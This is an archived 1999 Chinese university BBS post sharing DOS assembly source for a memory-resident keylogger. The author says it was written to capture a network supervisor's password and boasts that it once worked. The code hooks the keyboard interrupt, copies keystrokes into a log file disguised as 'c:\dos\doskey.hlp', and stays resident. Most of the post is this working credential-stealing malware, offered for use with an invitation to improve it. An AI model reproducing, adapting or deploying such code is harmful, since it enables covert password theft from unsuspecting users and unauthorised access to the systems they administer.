荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Peter (小飞侠), 信区: Program
标 题: 小程序(转寄)
发信站: BBS 荔园晨风站 (Thu Jan 21 21:06:06 1999), 转信
摘自厦门大学Rabbit
用于取得所有键盘操作,用于得到supervisor密码。。。
不过要在这之前先运行。。。 自己看着办。。。
当初我花了一天来写和调试,
如果有什么改进或想法告诉我好吗。
这个程序曾经成功地得到了某个网络supervisor的密码,xixi
请用masm6.0编译
code segment
assume cs:code,ds:code
org 100h
start: jmp init
old16h dd ?
count dw 0
fname db 'c:\dos\doskey.hlp', 0
msg db 40 dup(0)
new16h proc far
pushf
cmp ax, 0ff00h
jne aa1
mov al, 0fdh
popf
iret
aa1:
cmp ah, 10h
jnz old
popf
pushf
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
pop es
push ds
mov ax, 40h
mov ds, ax
mov si, 1ah
mov bl, ds:[si]
xor bh, bh
mov si, bx
lodsb
mov bx, cs:count
inc cs:count
mov cs:msg[bx], al
pop ds
cmp cs:count, 40
jz tmp1
cmp al, 0dh
jnz jx
inc bx
mov cs:msg[bx], 0ah
inc cs:count
tmp1:
push cs
pop ds
mov dx, offset fname
mov al, 2
mov ah, 3dh
int 21h
jnc exist
mov cx, 0
mov ah, 3ch
int 21h
exist: mov bx, ax
xor dx, dx
mov cx, dx
mov al, 2
mov ah, 42h
int 21h
mov cx, cs:count
mov dx, offset msg
mov ah, 40h
int 21h
mov ah, 3eh
int 21h
mov cs:count, 0
jx: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
old: popf
assume ds:nothing
jmp cs:old16h
new16h endp
init: mov ax, 0ff00h
int 16h
cmp al, 0fdh
jne next
; mov dx, offset mseg
; mov ah, 09h
; int 21h
mov ax, 4c00h
int 21h
next: mov ax, 3516h
int 21h
mov word ptr old16h,bx
mov word ptr old16h+2,es
mov dx, offset new16h
mov ax, 2516h
int 21h
mov dx, offset init
inc dx
int 27h
;mseg db 'Already resident!$'
code ends
end start
--
※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.1.3]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店